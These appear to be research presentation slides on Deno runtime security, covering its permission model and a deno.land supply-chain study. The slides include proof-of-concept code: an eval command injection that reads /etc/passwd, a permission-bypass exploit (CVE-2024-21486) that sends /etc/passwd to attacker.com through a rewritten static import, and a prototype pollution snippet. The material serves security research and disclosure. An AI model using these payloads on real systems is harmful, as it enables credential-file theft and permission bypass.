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• An emerging JavaScript runtime with a focus on security

• Written in Rust, a memory-safe language 

• The permission system aims to control the communication with the OS via 
runtime permissions checks

• Deno supports import code from arbitrary URL → decentralized software 
supply chain via import(URL)



Motivation … and Spoiler

3



Motivation … and Spoiler

3

• Study the security risks of Deno 

Motivation



Motivation … and Spoiler

3

• Study the security risks of Deno 

• Evaluate how its features can influence security

Motivation



Motivation … and Spoiler

3

• Study the security risks of Deno 

• Evaluate how its features can influence security

• Smaller attack surface compared to Node.js 

• Still… there are unmitigated threats

• New class of threats to JavaScript/TypeScript applications

Motivation

General Results
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Security and Attack Surface Permission System Software Supply Chain



Did Rust and the security 
model solve everything? 

Deno’s Security 
Model and 
Attack Surface 
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Resistant to 
memory-based attacks

Permissions to 
sensitive APIs calls

Third-party code 
integrity checks

Distributed
supply chain
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• When Deno security features affect the attack surface

Command Injection  

1: const user_input = prompt("eval: ");
2: eval(user_input);

user_input: 

deno run --allow-all runCmd.js

Run command:

Code:

`const process = Deno.run({ cmd: ["cat", "/etc/passwd"], 
stdout: "inherit"}); process.status();`

Output:



Is the permission system 
robust?

Deno’s 
Permission 
System
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• Runtime permissions systems goals:

− Intercept calls to all critical functionalities

− Permissions can be granted only by users

Deno Application

Deno.readTextFile("./f.txt");

fetch("example.com");
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Runtime V8

Deno Permission System
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• Runtime permission system’s goals:

− Intercept calls to all critical functionalities

− Permissions can be granted only by users

Deno Application

Deno.readTextFile("./f.txt");

fetch("example.com");

op_read_text_file

op_fetch

perm_check

perm_check

read

send

recv

syscall

syscall

syscall
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• Escaping the permission system by exploiting missing permission 
checks on static import();

1: let _fname = new URL('', import.meta.url).pathname;
2: let oldContent = await Deno.readTextFile(_fname);
3: let passFl = await Deno.readTextFile('/etc/passwd');
4: let pre ='import {foo} from "https://attacker.com?val=‘+ 

encodeURIComponent(passFl) + '";\n'
5: await Deno.writeTextFile(_fname, pre + oldContent);

Code:

Run command:

deno run --allow-read --allow-write perm.js
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• Escaping the permission system by exploiting missing permission 
checks on static import();

1: import {foo} from "https://attacker.com?val=%23User%20Database..."
2: let _fname = new URL('', import.meta.url).pathname;
3: let oldContent = await Deno.readTextFile(_fname);
4: let passFl = await Deno.readTextFile('/etc/passwd');
5: let pre = 'import {foo} from "https://attacker.com?val=‘ +   

encodeURIComponent(passFl) + '";\n'
6: await Deno.writeTextFile(_fname, pre + oldContent);

New code:

Run command:

deno run --allow-read --allow-write perm.js

Network permission is not granted

Data exfiltration via static import
CVE-2024-21486



Hmm… is deno.land yet another 
npm? 

Deno’s Software 
Supply Chain
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• Unlike Node.js, Deno allows importing third-party packages from 
any available domain via a valid URL

• deno.land supports package version immutability 

• Allows importing individual files and their dependencies

• We did an empirical study on deno.land;

5,400 package 10,544 URLs 21 domains
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• Median of unavailable links = 220  

• Breaking change caused by 21 permanently broken links to deno std

• 283 unavailable URLs 

• 1332 affected transitive deps. 

• 59.44% of URLs available a day before

23/Sep/2023
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19

• Median of unavailable links = 220  

• Breaking change caused by 21 permanently broken links to deno std

• 276 unavailable URLs 

• 1015 affected transitive deps. 

• 4 pkgs from denopkg.com causes 
10.8% of total affected pakgs. 

5/Mar/2023

• denopkg.com was down
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1. Deno, an emerging JavaScript runtime with 
focus on security
With lots of new challenges.

2. Deno has smaller attack surface
Many attacks are still not mitigated, or partially 
mitigated.

3. Deno’s permission system is able to minimise 
supply chain risks
It still has weaknesses within its permissions 
system.

4. Implementing decentralised software supply 
chain for the server side is challenging
Domains need a uniform package distribution 
policy.

Takeaways

11

Takeaways

Graphics and icons are taken form:
https://deno.com/artwork, 
https://openmoji.org

https://deno.com/artwork
https://openmoji.org/
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• Deno has smaller attack surface in compare to Node.js

Prototype Pollution

1: const user = {};

2: user.__proto__.isAdmin = true;

3: const newUser = {};
4: console.log(newUser.isAdmin); // true

Node.js prototype pollution example
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Prototype Pollution
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